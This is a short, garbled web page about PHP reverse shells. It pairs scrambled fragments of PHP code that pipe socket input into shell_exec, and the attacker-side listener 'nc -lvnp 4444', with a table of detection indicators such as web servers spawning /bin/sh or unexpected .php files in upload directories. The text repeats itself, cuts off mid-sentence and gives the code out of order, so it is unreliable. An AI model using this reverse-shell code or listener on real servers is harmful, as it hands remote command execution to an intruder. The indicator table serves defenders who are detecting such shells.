Reverse | Shell Php

Example suspicious log entry:

nc -lvnp 4444 Once the target executes the PHP script, you receive an interactive shell. | Indicator | Description | |-----------|-------------| | Unusual outbound connections | Web server connecting to a non-standard port (e.g., 4444, 9001) | | Process tree | apache2 or php-fpm spawning /bin/sh or cmd.exe | | Web logs | Access logs showing a GET/POST to the uploaded shell file | | File system | Unexpected .php files in upload directories or writable paths | reverse shell php

// Alternative using popen while ($cmd = fread($sock, 2048)) $output = shell_exec($cmd); fwrite($sock, $output . "\n"); Example suspicious log entry: nc -lvnp 4444 Once

fclose($sock); ?> On the attacker machine: 2048)) $output = shell_exec($cmd)